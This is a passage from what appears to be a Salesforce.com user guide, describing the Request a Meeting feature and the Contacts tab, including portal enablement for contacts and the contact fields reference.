propose up to five meeting times for you. See Tips for Letting Salesforce.com Propose Meeting Times on page 143

6. Click Next.
7. Write a message to the invitees, and click Send.
Note the following:

• Your email signature is automatically added to your message.


• After you click Send, Salesforce.com emails a meeting request to the invitees.
In the meeting request, invitees click Respond to This Request to open your meeting's Web page. On the meeting
Web page, invitees pick the proposed times that work for them and send you a reply.
• Your meeting's Web page displays all messages between you and the invitees. This includes messages that invitees write
when responding to your request.
• The meeting appears on the Open Activities related list for the person you requested a meeting with, but not on the
Open Activities related list for any of the other contacts or leads you invited to the meeting. For example, if you requested
a meeting with Jane Smith and then clicked the To field to invite John Doe, the requested meeting only appears on
the Open Activities related list for Jane Smith and not John Doe.

141
Activities Tips for Proposing Meeting Times

After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting
by selecting a final meeting time.

See Also:
About the Request a Meeting Feature
Cancelling a Requested Meeting
Rescheduling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting

Tips for Proposing Meeting Times


Available in: All Editions

User Permissions Needed


To request a meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

When you request a meeting with customers, you can either propose meeting times or let Salesforce.com propose times for
you.
When you propose meeting times:

• Proposed times aren't saved to your Salesforce.com calendar. The meeting only appears in your calendar after you confirm
the meeting.
• When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't
shown in the invitees' time zones.
• You can't propose a time that occurs in the past (before the black line in the calendar).
• The calendar's shaded areas show when you and the other invited Salesforce.com users are busy based on your Salesforce.com
calendars. Darker shades show when multiple Salesforce.com users are busy at the same time.
• Use the Duration field to change the length of your meeting.
• To remove a time you proposed, hover over the proposed time and click “x”.

See Also:
About the Request a Meeting Feature
Tips for Letting Salesforce.com Propose Meeting Times

142
Activities Tips for Letting Salesforce.com Propose Meeting Times

Tips for Letting Salesforce.com Propose Meeting Times


Available in: All Editions

User Permissions Needed


To request a meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

When you request a meeting with customers, you can either propose meeting times or let Salesforce.com propose times for
you.
When Salesforce.com proposes meeting times:

• You won't know which times are proposed until after you send the meeting request. Once the first invitee views your
request, Salesforce.com checks the calendars of all Salesforce.com users invited to the meeting and proposes meeting times
based on their availability.
Salesforce.com tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For
example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday
and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce.com
won't propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with
confirmed meetings and other events.
• By default, Salesforce.com proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you
have changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce.com
uses those settings instead.

One of the benefits of letting Salesforce.com propose meeting times happens when there's a long delay between the time you
send the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday
and that contact doesn't view your request until Thursday, Salesforce.com proposes times from Thursday forward instead of
when the meeting request was sent.
Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your
Salesforce.com calender to block out that time.

The following table describes the settings that control how Salesforce.com proposes meeting times.

Field Description
Duration The length of your meeting.

143
Activities Tips for Letting Salesforce.com Propose Meeting Times

Field Description
Time Frame
How far in advance Salesforce.com proposes meeting times:

• Next 5 Business Days/Next 10 Business


Days—Salesforce.com tries to spread out the proposed
times over the specified time frame. For example, if your
time frame is Next 5 Business Days and the first invitee
views the request on a Monday, Salesforce.com tries to
propose a time for each day of that week. If some of your
days are booked, Salesforce.com condenses the proposed
times into fewer days.
Business days exclude Saturdays and Sundays.
• Whenever—Salesforce.com tries to propose five meeting
times over the next five business days, and if it can't
propose enough times, it extends the range over the next
10 business days. If Salesforce.com still can't find five times
to propose, it looks for available times over the next four
weeks.
When you select this option, some of the times
Salesforce.com proposes could be seven weeks away (5
business days + 10 business days + 20 business days = 7
weeks).

See Also:
About the Request a Meeting Feature
Tips for Proposing Meeting Times

144
Activities Confirming a Requested Meeting

Confirming a Requested Meeting


Available in: All Editions

User Permissions Needed


To confirm a meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

After you request a meeting, wait for the invitees to reply with the times they can meet. When this happens, the meeting
organizer receives an email notification, and the meeting in Salesforce.com is automatically updated with the times the invitees
selected. You can then choose the best time to meet and confirm the meeting.
The meeting confirmation page displays as read-only to users without the “Edit Events” permission and users without the
“Edit” permission on the contact or lead record associated with a proposed meeting.
To confirm a meeting:

1. Open your meeting using one of the following methods:

• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Select a time, and click Confirm.


The Confirm button displays after you select a meeting time. If you don't select a time, the Send Update button displays
instead so you can send the invitees a message without confirming a meeting time.
Use the following tools to help you pick a time:

• Green check marks show when each invitee can meet.


• Free shows when you are available based on your Salesforce.com calendar.
• If none of the times work for the invitees, reschedule the meeting to propose new times.

3. Optionally, enter a message to the invitee.


4. Click Send to confirm the meeting.
Salesforce.com then:

• Emails the invitees with the final date and time of the meeting.

145
Activities Guidelines for Adding a Custom Logo to Meeting Requests

• Converts the requested meeting to a new group event. The last message you sent to the invitees appears in the event's
Description field, but all other messages between you and the invitees aren't saved.

This group event appears in the Open Activities related list on page 100 and in the Calendar section on the Home tab.

Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting
is converted to an event.

See Also:
Cancelling a Requested Meeting
About the Request a Meeting Feature

Guidelines for Adding a Custom Logo to Meeting Requests


Available in: All Editions

User Permissions Needed


To customize activity settings: “Customize Application”

When you show a custom logo in meeting requests, your logo appears in the following locations:

• Email requests sent to invitees when you request a meeting


• Meeting response pages where invitees select the times they can meet
• Email requests to group events
• Group event response pages where invitees accept or decline the group event

When using a custom logo:

• The image must be in GIF, JPEG, or PNG format and be less than 20 KB.
• For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that
are larger than these dimensions may not display correctly in some email clients due to automatic resizing.
• You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal
Use Only can't be used as a logo.

Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it
and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your
personal folder on the Documents tab so only you can replace it.

• You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either
select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.

146
Activities Cancelling a Requested Meeting

Cancelling a Requested Meeting


Available in: All Editions

User Permissions Needed


To cancel a meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce.com automatically sends a
cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to a group event that
you can delete like all other activities.
To cancel a requested meeting:

1. From the Calendar section on the Home tab, click the Requested Meetings subtab.
If you're administrator hasn't added the Requested Meetings subtab, go to the detail page for the person you requested
a meeting with. For example, if you requested a meeting with the contact Jane Smith, go to her contact detail page and
view the Open Activities related list.
2. Click the subject of the requested meeting, and click Cancel Meeting.
You can also click Del next to the meeting from the Open Activities related list.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you
the required permissions.

3. Click OK to confirm the cancellation.


Salesforce.com emails a meeting cancellation to all invitees. Cancelled meetings are permanently removed and aren't stored
in the Recycle Bin.

See Also:
Requesting a Meeting With Contacts, Leads, and Person Accounts
Confirming a Requested Meeting
Deleting Activities
About the Request a Meeting Feature
Adding and Removing Invitees from a Requested Meeting

147
Activities Rescheduling a Requested Meeting

Rescheduling a Requested Meeting


Available in: All Editions

User Permissions Needed


To reschedule a meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can reschedule it and propose new times. However, you can't
propose new times for a confirmed meeting because it's been converted to a group event. To reschedule a group event, edit
the event to change its date and send an update to the invitees.
To reschedule a requested meeting:

1. Open your meeting using one of the following methods:

• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Click Reschedule and propose new times.


Once the invitees reply to your updated request, you can confirm the meeting.

Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you the
required permissions.

See Also:
Requesting a Meeting With Contacts, Leads, and Person Accounts
Confirming a Requested Meeting
Cancelling a Requested Meeting
About the Request a Meeting Feature
Adding and Removing Invitees from a Requested Meeting

148
Activities Adding and Removing Invitees from a Requested Meeting

Adding and Removing Invitees from a Requested Meeting


Available in: All Editions

User Permissions Needed


To add and remove invitees from a requested meeting: “Edit Events”
AND
“Send Email”

Note: The request a meeting feature isn't supported in Microsoft® Internet Explorer version 6.0.

You can add and remove invitees to a requested meeting if it hasn't been confirmed. Confirmed meetings are converted to
group events. You can edit group events to add and remove invitees.
To add or remove invitees from a requested meeting:

1. Open your meeting using one of the following methods:

• From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting.
• From the Open Activities related list for the contact, lead, or person account you requested a meeting with, click the
subject of your meeting.
• From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Do either of the following:

• Click To to invite other Salesforce.com users, leads, contacts, or person accounts to the meeting.
• Click “x” next to an invitee's name to remove them from the meeting.
You can remove all invitees except the first contact, lead or person account that you requested a meeting with.

The calendar automatically updates based on the Salesforce.com users you added or removed from the meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce.com administrator to grant you
the required permissions.

3. Click Send Update.


4. Enter a message. For example, you might want to inform your invitees who you're adding or removing from the meeting.
5. Click one of the following:

• Send to All Invitees—Sends an update to all existing and added invitees and a cancellation notice to removed invitees.

149
Contacts Contacts Overview

• Send Only to Changed Invitees—Sends an update to added invitees and a cancellation notice to removed invitees.

See Also:
About the Request a Meeting Feature
Cancelling a Requested Meeting
Confirming a Requested Meeting

CONTACTS

Contacts Overview
Available in: All Editions

Contacts are all of the individuals associated with your business accounts that you need to track in Salesforce.com. You can
store various information for a contact, such as phone numbers, addresses, titles, and roles in a deal.
The Contacts tab displays a home page that lets you quickly create and locate contacts. You can also sort and filter contacts
using standard and custom list views. In addition, this tab lets you view and edit detailed information on each contact to which
you have access.

See Also:
Contacts Home
Accounts Overview
Outlook Queue Overview

Contacts Home
Available in: All Editions

User Permissions Needed


To view Contacts tab: “Read” on contacts
To view contacts: “Read” on contacts
To create contacts: “Create” on contacts

Clicking on the Contacts tab displays the contacts home page.

150
Contacts Contacts Home

• In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to
define your own custom view.
• In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching
that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Contacts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Contacts choices are:

Recent Contacts Choice Description


Recently Viewed The last ten or twenty-five contacts you viewed, with the
most recently viewed contact listed first. This list is derived
from your recent items and includes records owned by you
and other users.
Recently Created The last ten or twenty-five contacts you created, with the
most recently created contact listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five contacts you updated, with the
most recently updated contact listed first. This list only
includes records owned by you.

• Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section
to create a new contact.
• Under Reports, click any report name to jump to that report.
• Select any of the links under Tools to manage your contacts.
• If your organization uses Salesforce CRM for Outlook, you may see a banner at the top of this page with a link to the
Outlook Queue. This queue lists synced contacts that need accounts. Salesforce CRM for Outlook is available through a
pilot program. For information on enabling Salesforce CRM for Outlook for your organization, contact salesforce.com.

See Also:
Contacts Overview
Displaying and Editing Contacts
Creating Contacts
Deleting Contacts
Creating Custom List Views

151
Contacts Viewing Contact Lists

Viewing Contact Lists


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The contacts list page displays a list of contacts in your current view. From this page, you can view detailed contact information
and access other related information.

• Click a contact name to view the detail. Click Edit or Del to edit or delete the contact. See Displaying and Editing Contacts
on page 153.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact
list views except the Recent Contacts list on the contacts home page. For more information, see What is a Person
Account? on page 54.

• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact. These options
display only if you have the “Create” permission on contacts. See Creating Contacts on page 156.
• Click any column heading to sort the contacts in ascending order using that column’s information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contacts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.
• To add contacts to an existing campaign, check the box next to one or more contacts, and then click Add to Campaign.
Alternatively, check the box in the column header to select all displayed records, then click Add to Campaign. See Adding
Contacts or Leads from a List View to a Campaign on page 2028.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.

152
Contacts Displaying and Editing Contacts

Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond
what the sharing model allows. See Sharing Contacts on page 166.
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Finding Out if Your Partners Use Salesforce.com

Displaying and Editing Contacts


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To edit contacts: “Edit” on contacts
To edit accounts on contacts enabled to use a Customer Portal: “Edit” on contacts
AND
“Edit Self-Service”

To edit accounts on contacts enabled to use a partner portal: “Edit” on contacts


AND
“Manage Partners”

To view person accounts: “Read” on accounts and contacts


To edit person accounts: “Edit” on accounts and contacts

Displaying contact details:

1. Find the contact name. For example, use search or look on the Contacts home page, list pages, or Account detail page
Contacts related list (Business accounts only; Person Accounts don't have contacts).
2. Click the contact name to view the details.

• Information related to the contact including activities, notes, opportunities, campaigns, assets, and cases appears in
related lists below the contact details. The related lists you see are determined by your personal customization, and by
any customization your administrator has made to page layouts or your permissions to view related data. Click more

153
Contacts Displaying and Editing Contacts

at the bottom of the page or View More below a related list to display more items. Clicking the New button lets you
directly add new items. For example, clicking New Case lets you add a new case.
If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce Chatter is
enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover link to display
the corresponding related list and its number of records. An interactive overlay allows you to quickly view and manage
the related list items. You can also click a related list hover link to jump to the content of the related list without having
to scroll down the page.
• If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand
or collapse each section.
• If your organization has enabled hover details, hover over any lookup field on the detail page to view key information
about a record before clicking into that record's detail page.
• To return to the last list page you viewed, click Back to List at the top of the contact detail page. For more information
on navigating detail pages, see Navigating on page 9.

Editing contacts:
1. Find the contact and click Edit.
2. Make your changes.

• If your organization enabled inline editing, you can edit fields directly on the detail page.
• If you change the Account Name field, cases and opportunities associated with the contact remain associated with
the previous account and do not roll up to the new account. New cases and opportunities created for the contact are
associated with the new account. There are additional implications when changing the account on contacts enabled
for a Customer Portal or partner portal .

3. Click Save (or click Save & New to save the current contact and create another).

Tips on Displaying and Editing Contacts


• Printing contacts—To open a printable display of all information for a record, click Printable View on the detail page.
• Sharing contacts—In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can share a contact
with other users, groups, or roles by clicking Sharing on the contact detail page. This option is only available when the
contact has an account and your organization has a particular organization-wide default setting.
• Tagging contacts—If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to
tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
• Person accounts appear in contact list views but not on the Contacts home page. When you select a person account name
on a contact list view, the corresponding person account appears on the Accounts tab. To visually differentiate contacts
from person accounts in contact list views, add the Is Person Account icon as a column; see Creating Custom List
Views on page 219. Person accounts do not have contacts.

Tips on Displaying and Editing Contacts in Portals


Enabling Portal Users

• Enabling Customer Portal users—If your organization is enabled with a Customer Portal, click Work with Portal
and choose Enable Customer Portal User on the contact detail page to allow a contact to use your Customer Portal.
Once the contact is enabled, click Work with Portal and choose View Customer Portal User on the contact detail
page to view or edit a contact's access to your Customer Portal. You can disable or deactivate a Customer Portal user
at any time.
• Enabling Partner users—If your organization is enabled with a PRM or partner portal, click Work with Portal and
choose Enable As Partner to enable a contact as a partner user. Once the contact is enabled, click Work with Portal

154
Contacts Displaying and Editing Contacts

and choose View Partner Portal User to view the partner user's details. Updating a contact associated with a partner
user does not update the partner user. You can disable or deactivate a partner user at any time.
• Enabling Self-Service—In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Enable
Self-Service on the contact detail page to allow a contact to use your Self-Service portal. Once the contact is enabled,
click View Self-Service on the contact detail page to view or edit a contact's access to your Self-Service portal.

Logging in as a Portal User to troubleshoot issues


If your organization has enabled the Customer Portal or partner portal, you can click Work with Portal and choose
Login As Portal User to troubleshoot issues that a contact enabled to use a portal is experiencing. When you click this
button, a new browser window opens and you are logged into the portal as the portal user. You may also click this button
to ensure that the portal is configured appropriately. To log in as a partner portal user, you need the “Manage Partners”
permission and either the “Modify All Data” permission or “Edit” access on the account. To log in as a Customer Portal
user, you must have the “Edit Self-Service Users” permission and “Edit” access on the Customer Portal user's account.
The Login as Portal User button only appears if you have these permissions and the portal user is active.

Changing the account on contacts enabled for Customer Portals or partner portals
When you change the account on contacts enabled for a Customer Portal or partner portal:
• Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service
users can view on the Self-Service portal only cases that are associated with their current account. Self-Service users
cannot view opportunities.
• Contacts' portal roles are automatically updated to match the name of the account to which they are transferred
(unless they're High Volume Customer Portal users, which don't have roles). For example, the portal role “Account
A Customer User” becomes “Account B Customer User” (because a portal role's name includes the name of the
account with which it is associated). Portal roles are unique to each account and are located under the account owner's
role in your organization's role hierarchy.
• When you transfer a partner portal user to another account:
- Opportunities on each account are automatically recalculated through your organization's forecast hierarchy.
- Opportunities owned by the partner portal user remain in the previous account.
This is because portal users' roles are updated when you transfer them between accounts.
• Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on
accounts to which they are transferred.
• You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal on page
2533.

See Also:
Contact Fields
Creating Contacts
Cloning Contacts
Merging Duplicate Contacts
Displaying Contact Hierarchy
Deleting Contacts
Searching for Contacts
Contact History

155
Contacts Creating Contacts

Contact History
Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts

The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History
related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related
lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see
Tracking Field History on page 837.

Creating Contacts
Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To create contacts: “Create” on contacts

To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts
on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to
save the current contact and add another.
To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also
select New in the Contacts related list of an account.
If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a contact. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.

156
Contacts Cloning Contacts

Note:
Contacts that are not linked to an account are always private, regardless of your organization’s sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Cloning Contacts
Contact Fields
Contacts Home

Cloning Contacts
Available in: All Editions

User Permissions Needed


To clone contacts: “Create” on contacts

The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example,
when you need to add multiple contacts for the same account.
Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contact Fields

157
Contacts Self-Service for Contacts and Person Accounts

Self-Service for Contacts and Person Accounts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Self-Service users: “Edit Self-Service Users”

To allow a customer to access your Self-Service portal, you must enable Self-Service for the customer’s contact or person
account record:

1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person
account, click the Enable Self-Service button on the person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service
Username defaults to his or her Email.
3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case
information, add comments, and upload attachments for all cases submitted by anyone in his or her company.
4. Select Generate new password and notify user immediately to email a Self-Service username and password
to the customer.
5. Click Save.

Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account
record.

To disable Self-Service for a customer:

1. Click the View Self-Service button on the detail page.


2. Click Edit, and deselect the Active box.
3. Click Save.

To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1139.
Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal.
In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead,
deactivate his or her access to the Self-Service portal and then delete the contact or person account.

See Also:
Setting Up Self-Service
What is a Person Account?

158
Contacts Enabling the Customer Portal for Contacts and Person Accounts

Enabling the Customer Portal for Contacts and Person


Accounts
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Customer Portal users: “Edit” on the account associated with the Customer Portal
user
AND
“Edit Self-Service Users”

To allow a customer to access your Salesforce.com Customer Portal, you must enable the customer's contact or person account
record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time.
To enable the Customer Portal for a customer:

1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person
account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username
defaults to his or her Email.
3. Select a portal user license. The user license you choose determines the user profile and role hierarchy options you can
select for the Customer Portal user. See Customer Portal User Licenses on page 1340
4. Select Generate new password and notify user immediately to email a Customer Portal username and
password to the customer.
If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or
her profile with one username and password. See Creating Multiple Customer Portals on page 1309.
5. Click Save.

Tips on Enabling the Customer Portal for Contacts


Consider the following when enabling the Customer Portal for contacts:
• You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role
in your organization.
• The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role.
The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You
can update contact's portal role later.
This behavior doesn't apply to High Volume Customer Portal users because they don't have roles and aren't included in
the role hierarchy.
• A contact can be either a PRM, partner, or Customer Portal user, but not all three. If a user is a PRM or partner user and
a Customer Portal user, then you need to create two contact records for the user so that he or she can have a separate
username and password for each portal.

159
Contacts Contact Fields

However, a contact can be a Self-Service user as well as a PRM or Customer Portal user. Yet, any data created or owned
by a Self-Service user can be visible to a PRM or Customer Portal user associated with the same contact.
• You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer
Portal.
The following table describes whether you can delete contacts that are associated with portal users:

State of Portal User Associated to Contact Can Delete Contact?


Active portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Inactive portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Disabled portal user Yes. Deleted contacts are sent to the Recycle Bin.

• You can change the account on the contact at any time.


• You can merge contacts enabled to use a Customer Portal.
• The user's Community Nickname defaults to his or her email alias unless you specify otherwise. For example, if the user's
Email is “jsmith@company.com,” the user's Community Nickname defaults to “jsmith” when you click Save.

Tips on Enabling the Customer Portal for Person Accounts


Consider the following when enabling the Customer Portal for person accounts:
• You can't delete a person account enabled to use a Customer Portal.
• You can't import person accounts to be automatically enabled to use a Customer Portal. For more information on importing
person accounts, see Import My Person Accounts on page 651.
• Person account users can't self-register for a Customer Portal. When person account users self-register for a Customer
Portal, they receive an email notification that instructs them to contact the portal administrator. See Enabling Customer
Portal Login and Settings on page 1319.
• You cannot merge person accounts enabled to use a Customer Portal .

See Also:
Setting Up Your Customer Portal
What is a Person Account?

Contact Fields
The available fields vary according to which Salesforce.com Edition you have.

A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

160
Contacts Contact Fields

Field Description
Account Name Name of account that contact is linked to. You can enter the
account name, or select the account using the lookup icon.
Private contacts are those that do not have an account.
Allow Customer Portal Self-Registration When selected, allows contacts to self-register for access to
your Customer Portal.
Assistant Name of assistant. Up to 40 characters are allowed in this
field.
Asst. Phone Assistant’s phone number. Up to 40 characters are allowed in
this field.
Birthdate Birthday. You can enter a date, or choose a date from the
calendar that displays when you put your cursor in the field.
Contact Currency The default currency for all currency amount fields in the
contact. Amounts are displayed in the contact currency, and
are also converted to the user’s personal currency. Available
only for organizations that use multiple currencies.
Contact Division
Division to which the contact belongs. This value is
automatically inherited from the related account.
Available only in organizations that use divisions to segment
their data.

Contact Owner Assigned owner of contact. Not available in Personal Edition.


Contact Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Editions.
Created By User who created the contact including creation date and time.
(Read only)
Department Associated business or organizational unit. Up to 80 characters
are allowed in this field.
Description Description of contact. Up to 32 KB of data are allowed in
this field. Only the first 255 characters display in reports.
Do Not Call Indicates if the person does not want to be contacted via
telephone.
Email Email address. Must be a valid email address in the form:
jsmith@acme.com. Up to 80 characters are allowed in this
field.
Click the email address in this field to send an email using
your personal email application. This type of email is not
logged as an activity on the contact record.

161
Contacts Contact Fields

Field Description
If the Gmail Buttons and Links feature is enabled, you can
click the Gmail link next to the field to send an email from
your Gmail account. See Using Gmail in Salesforce.com on
page 310 for more information.

Email Opt Out The person's email address will not be included in mass emails.
Fax Contact’s fax number. Up to 40 characters are allowed in this
field.
Fax Opt Out Indicates if the person has requested not to be included in
broadcast faxes.
First Name First name of the contact, as displayed on the contact edit
page. Up to 40 characters are allowed in this field.
First Name (Local) First name of the contact translated into the local language.
Home Phone Person’s home phone number. Up to 40 characters are allowed
in this field.
Last Name Last name of the contact, as displayed on the contact edit
page. Up to 80 characters are allowed in this field.
Last Name (Local) Last name of the contact translated into the local language.
Last Stay-in-Touch Request Date The date that the most recent Stay-in-Touch request was sent.
Last Stay-in-Touch Save Date The date that the most recent Stay-in-Touch request was
returned and merged.
Lead Source Record source, for example, Advertisement, Partner, or Web.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.
Mailing Street Street mailing address. Up to 255 characters are allowed in
this field.
Mailing City City portion of mailing address. Up to 40 characters are
allowed in this field.
Mailing State/Province State or province portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Zip/Postal Code Zip or postal code portion of mailing address. Up to 20
characters are allowed in this field.
Mailing Country Country portion of mailing address. Up to 40 characters are
allowed in this field.
Mobile Cellular or mobile phone number. Up to 40 characters are
allowed in this field.

162
Contacts Contact Fields

Field Description
Modified By User who last changed the contact fields, including
modification date and time. This does not track changes made
to any of the related list items on the contact. (Read only)
Name Combined first and last name of contact, as displayed on the
contact detail page.
Other Street Street address portion of additional address. Up to 255
characters are allowed in this field.
Other City City portion of additional address. Up to 40 characters are
allowed in this field.
Other State/Province State or province portion of additional address. Up to 20
characters are allowed in this field.
Other Zip/Postal Code Zip or postal code portion of additional address. Up to 20
characters are allowed in this field.
Other Country Country portion of additional address. Up to 40 characters
are allowed in this field.
Other Phone Additional phone number listing. Up to 40 characters are
allowed in this field.
Phone Contact’s primary phone number. Up to 40 characters are
allowed in this field.
Reports To Name of contact’s manager. You can enter an existing contact
name, or select the contact using the lookup icon.
Salutation Title for addressing the person, for example, Mr., Ms., Dr.,
or Prof. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Title Person's position within his or her organization. Up to 80
characters are allowed in this field.
Custom Links Listing of custom links for contacts as set up by your
administrator.
Username For Self-Service contacts only. The Username defaults to the
Email. The contact must enter their username when logging
in to the Self-Service portal.

See Also:
Displaying and Editing Contacts
Creating Contacts
Cloning Contacts

163
Contacts Displaying Contact Hierarchy

Displaying Contact Hierarchy


Available in: All Editions

User Permissions Needed


To view org chart: “Read” on contacts
To change org chart: “Edit” on contacts

To display an organization chart, enter the name of the contact’s manager in the Reports To field for each contact in the
account. Then, click the [View Org Chart] link on any contact in the account. Salesforce.com displays an organization chart
showing the contact hierarchy with the direct reports for each contact you entered.
Note:
To maintain a complete organization chart, make sure every contact in an account contains another contact in the
Reports To field. The only exception to this is the contact at the very top of the organization chart. If only one
contact in an account reports to no one, that account will have a single organization chart for the entire account.
